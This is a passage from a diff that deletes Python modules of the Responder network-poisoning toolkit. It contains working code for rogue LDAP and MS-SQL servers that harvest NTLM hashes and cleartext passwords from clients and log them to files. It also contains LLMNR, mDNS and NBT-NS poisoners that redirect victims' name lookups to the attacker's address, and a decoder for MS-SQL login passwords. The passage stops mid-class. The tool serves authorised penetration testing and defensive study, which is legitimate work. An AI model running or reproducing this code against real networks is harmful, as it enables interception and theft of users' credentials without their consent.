class LDAPserver():
def start(self, chal):
global Challenge; Challenge = chal
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 389), LDAP)
t = threading.Thread(name="LDAPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(389, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
def ParseSearch(data):
Search1 = re.search('(objectClass)', data)
Search2 = re.search('(?i)(objectClass0*.*supportedCapabilities)', data)
Search3 = re.search('(?i)(objectClass0*.*supportedSASLMechanisms)', data)
if Search1:
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
if Search2:
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
if Search3:
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
def ParseLDAPHash(data,client):
SSPIStarts = data[42:]
LMhashLen = struct.unpack('<H',data[54:56])[0]
if LMhashLen > 10:
LMhashOffset = struct.unpack('<H',data[58:60])[0]
LMHash = SSPIStarts[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[64:66])[0]
NthashOffset = struct.unpack('<H',data[66:68])[0]
NtHash = SSPIStarts[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[72:74])[0]
DomainOffset = struct.unpack('<H',data[74:76])[0]
Domain = SSPIStarts[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[80:82])[0]
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStarts[UserOffset:UserOffset+UserLen].replace('\x00','')
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge
Outfile = "./logs/responder/LDAP-NTLMv1-"+client+".txt"
WriteData(Outfile,writehash,User+"::"+Domain)
#print "[LDAP] NTLMv1 complete hash is :", writehash
log.info('NTLMv1 complete hash is :%s'%(writehash))
if LMhashLen <2 :
Message = 'LDAP Anonymous NTLM authentication, ignoring..'
#print Message
log.info(Message)
def ParseNTLM(data,client):
Search1 = re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data)
Search2 = re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data)
if Search1:
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
NTLMChall.calculate()
return str(NTLMChall)
if Search2:
ParseLDAPHash(data,client)
def ParseLDAPPacket(data,client):
if data[1:2] == '\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[9:10]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == "\x60":
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen]
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
if AuthHeaderType == "\x80":
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
#print '[LDAP]Clear Text User & Password is:', UserDomain+":"+Password
outfile = "./logs/responder/LDAP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,'User: %s Password: %s'%(UserDomain,Password),'[LDAP]User: %s Password: %s'%(UserDomain,Password))
log.info('User: %s Password: %s'%(UserDomain,Password))
if sasl == "\xA3":
buff = ParseNTLM(data,client)
return buff
elif Operation == "\x63":
buff = ParseSearch(data)
return buff
else:
log.info('Operation not supported')
#LDAP Server Class
class LDAP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(0.5)
data = self.request.recv(8092)
buffer0 = ParseLDAPPacket(data,self.client_address[0])
if buffer0:
self.request.send(buffer0)
except Exception:
pass #No need to print timeout errors.

View file

@ -1,176 +0,0 @@
import socket
import threading
import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
formatter = logging.Formatter("%(asctime)s [LLMNRpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LLMNRpoisoner", formatter)
class LLMNRpoisoner:
def start(self, options, ourip):
global args; args = options #For now a quick way to make argparse's namespace object available to all
global OURIP ; OURIP = ourip #and our ip address
try:
log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
t = threading.Thread(name="LLMNRpoisoner", target=server.serve_forever) #LLMNR
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port 5355: {}:".format(e))
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.252"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
UDPServer.server_bind(self)
#LLMNR Answer packet.
class LLMNRAns(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x80\x00"),
("Question", "\x00\x01"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("QuestionNameLen", "\x09"),
("QuestionName", ""),
("QuestionNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("AnswerNameLen", "\x09"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type1", "\x00\x01"),
("Class1", "\x00\x01"),
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = socket.inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
def Parse_LLMNR_Name(data):
NameLen = struct.unpack('>B',data[12])[0]
Name = data[13:13+NameLen]
return Name
# LLMNR Server class.
class LLMNR(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher().config['Responder']
DontRespondTo = ResponderConfig['DontRespondTo']
DontRespondToName = ResponderConfig['DontRespondToName']
RespondTo = ResponderConfig['RespondTo']
RespondToName = ResponderConfig['RespondToName']
data, soc = self.request
try:
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if args.analyze:
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.warning("{} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
except Exception:
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
else:
log.warning("{} is looking for: {}".format(self.client_address[0], Name))
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if RespondToSpecificHost(RespondTo):
if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
log.warning("Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
if args.finger:
try:
Finger = RunSmbFinger((self.client_address[0],445))
log.info('OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
except Exception:
log.info('Fingerprint failed for host: {}'.format(self.client_address[0]))
pass
else:
pass
else:
pass
except:
raise

View file

@ -1,115 +0,0 @@
import threading
import socket
import struct
import logging
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.configwatcher import ConfigWatcher
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MDNSpoisoner", formatter)
class MDNSpoisoner():
def start(self, options, ourip):
global args; args = options
global OURIP; OURIP = ourip
try:
log.debug("OURIP => {}".format(OURIP))
server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS)
t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
log.error("Error starting on port 5353: {}" .format(e))
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
MADDR = "224.0.0.251"
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP))
UDPServer.server_bind(self)
class MDNSAns(Packet):
fields = OrderedDict([
("Tid", "\x00\x00"),
("Flags", "\x84\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
("AdditionalRRS", "\x00\x00"),
("AnswerName", ""),
("AnswerNameNull", "\x00"),
("Type", "\x00\x01"),
("Class", "\x00\x01"),
("TTL", "\x00\x00\x00\x78"),##Poison for 2mn.
("IPLen", "\x00\x04"),
("IP", "\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["IP"] = socket.inet_aton(OURIP)
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
def Parse_MDNS_Name(data):
data = data[12:]
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
def Poisoned_MDNS_Name(data):
data = data[12:]
Name = data[:len(data)-5]
return Name
class MDNS(BaseRequestHandler):
def handle(self):
ResponderConfig = ConfigWatcher().config['Responder']
RespondTo = ResponderConfig['RespondTo']
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
if self.client_address[0] == "127.0.0.1":
pass
try:
if args.analyze:
if Parse_IPV6_Addr(data):
log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
if RespondToSpecificHost(RespondTo):
if args.analyze == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if Parse_IPV6_Addr(data):
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
if Parse_IPV6_Addr(data):
log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data)))
Name = Poisoned_MDNS_Name(data)
MDns = MDNSAns(AnswerName = Name)
MDns.calculate()
soc.sendto(str(MDns),(MADDR,MPORT))
else:
pass
except Exception:
raise

View file

@ -1,154 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#MS-SQL Pre-login packet class
class MSSQLPreLoginAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\x25"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\x00"),
("VersionOffset", "\x00\x15"),
("VersionLen", "\x00\x06"),
("TokenType1", "\x01"),
("EncryptionOffset", "\x00\x1b"),
("EncryptionLen", "\x00\x01"),
("TokenType2", "\x02"),
("InstOptOffset", "\x00\x1c"),
("InstOptLen", "\x00\x01"),
("TokenTypeThrdID", "\x03"),
("ThrdIDOffset", "\x00\x1d"),
("ThrdIDLen", "\x00\x00"),
("ThrdIDTerminator", "\xff"),
("VersionStr", "\x09\x00\x0f\xc3"),
("SubBuild", "\x00\x00"),
("EncryptionStr", "\x02"),
("InstOptStr", "\x00"),
])
def calculate(self):
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"])
VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])
EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])
InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"])
ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
#Version
self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"]))
self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset))
#Encryption
self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset))
#InstOpt
self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"]))
self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset))
#ThrdIDOffset
self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset))
#MS-SQL NTLM Negotiate packet class
class MSSQLNTLMChallengeAnswer(Packet):
fields = OrderedDict([
("PacketType", "\x04"),
("Status", "\x01"),
("Len", "\x00\xc7"),
("SPID", "\x00\x00"),
("PacketID", "\x01"),
("Window", "\x00"),
("TokenType", "\xed"),
("SSPIBuffLen", "\xbc\x00"),
("Signature", "NTLMSSP"),
("SignatureNull", "\x00"),
("MessageType", "\x02\x00\x00\x00"),
("TargetNameLen", "\x06\x00"),
("TargetNameMaxLen", "\x06\x00"),
("TargetNameOffset", "\x38\x00\x00\x00"),
("NegoFlags", "\x05\x02\x89\xa2"),
("ServerChallenge", ""),
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TargetInfoLen", "\x7e\x00"),
("TargetInfoMaxLen", "\x7e\x00"),
("TargetInfoOffset", "\x3e\x00\x00\x00"),
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
("TargetNameStr", "SMB"),
("Av1", "\x02\x00"),#nbt name
("Av1Len", "\x06\x00"),
("Av1Str", "SMB"),
("Av2", "\x01\x00"),#Server name
("Av2Len", "\x14\x00"),
("Av2Str", "SMB-TOOLKIT"),
("Av3", "\x04\x00"),#Full Domain name
("Av3Len", "\x12\x00"),
("Av3Str", "smb.local"),
("Av4", "\x03\x00"),#Full machine domain name
("Av4Len", "\x28\x00"),
("Av4Str", "server2003.smb.local"),
("Av5", "\x05\x00"),#Domain Forest Name
("Av5Len", "\x12\x00"),
("Av5Str", "smb.local"),
("Av6", "\x00\x00"),#AvPairs Terminator
("Av6Len", "\x00\x00"),
])
def calculate(self):
##First convert to uni
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
##Then calculate
CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket))
self.fields["SSPIBuffLen"] = struct.pack("<i",len(CalculateSSPI))[:2]
# Target Name Offsets
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
#AvPairs Offsets
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
#AvPairs StrLen
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
#AvPairs 6 len is always 00.

View file

@ -1,129 +0,0 @@
import struct
import logging
import threading
from core.logger import logger
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from MSSQLPackets import *
from core.responder.common import *
formatter = logging.Formatter("%(asctime)s [MSSQLserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("MSSQLserver", formatter)
class MSSQLserver():
def start(self, chal):
global Challenge; Challenge = chal
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL)
t = threading.Thread(name="MSSQLserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(1433, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = True
def server_bind(self):
TCPServer.server_bind(self)
#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
def ParseSQLHash(data,client):
SSPIStart = data[8:]
LMhashLen = struct.unpack('<H',data[20:22])[0]
LMhashOffset = struct.unpack('<H',data[24:26])[0]
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[30:32])[0]
if NthashLen == 24:
NthashOffset = struct.unpack('<H',data[32:34])[0]
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainLen = struct.unpack('<H',data[36:38])[0]
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv1-Client-"+client+".txt"
WriteData(outfile,User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge, User+"::"+Domain)
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
if NthashLen > 60:
DomainLen = struct.unpack('<H',data[36:38])[0]
NthashOffset = struct.unpack('<H',data[32:34])[0]
NthashLen = struct.unpack('<H',data[30:32])[0]
Hash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
DomainOffset = struct.unpack('<H',data[40:42])[0]
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[44:46])[0]
UserOffset = struct.unpack('<H',data[48:50])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
WriteData(outfile,Writehash,User+"::"+Domain)
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
Pw = []
for x in Pwd:
Pw.append(hex(x ^ 0xa5)[::-1][:2].replace("x","0").decode('hex'))
return ''.join(Pw)
def ParseClearTextSQLPass(Data,client):
outfile = "./logs/responder/MSSQL-PlainText-Password-"+client+".txt"
UsernameOffset = struct.unpack('<h',Data[48:50])[0]
PwdOffset = struct.unpack('<h',Data[52:54])[0]
AppOffset = struct.unpack('<h',Data[56:58])[0]
PwdLen = AppOffset-PwdOffset
UsernameLen = PwdOffset-UsernameOffset
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
def ParsePreLoginEncValue(Data):
PacketLen = struct.unpack('>H',Data[2:4])[0]
EncryptionValue = Data[PacketLen-7:PacketLen-6]
if re.search("NTLMSSP",Data):
return True
else:
return False
#MS-SQL server class.
class MSSQL(BaseRequestHandler):
def handle(self):
try:
while True:
data = self.request.recv(1024)
self.request.settimeout(0.1)
##Pre-Login Message
if data[0] == "\x12":
buffer0 = str(MSSQLPreLoginAnswer())
self.request.send(buffer0)
data = self.request.recv(1024)
##NegoSSP
if data[0] == "\x10":
if re.search("NTLMSSP",data):
t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
t.calculate()
buffer1 = str(t)
self.request.send(buffer1)
data = self.request.recv(1024)
else:
ParseClearTextSQLPass(data,self.client_address[0])
##NegoSSP Auth
if data[0] == "\x11":
ParseSQLHash(data,self.client_address[0])
except Exception:
pass
self.request.close()

View file

@ -1,212 +0,0 @@
#! /usr/bin/env python2.7
import threading
import socket
import struct
import logging
import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.logger import logger
from core.configwatcher import ConfigWatcher
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
from core.responder.common import *
formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("NBTNSpoisoner", formatter)
class NBTNSpoisoner():
def start(self, options, ourip):
global OURIP; OURIP = ourip
global args; args = options
try:
log.debug("OURIP => {}".format(ourip))
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.debug("Error starting on port 137: {}".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
UDPServer.server_bind(self)
#NBT-NS answer packet.
class NBT_Ans(Packet):
fields = OrderedDict([
("Tid", ""),
("Flags", "\x85\x00"),
("Question", "\x00\x00"),
("AnswerRRS", "\x00\x01"),
("AuthorityRRS", "\x00\x00"),
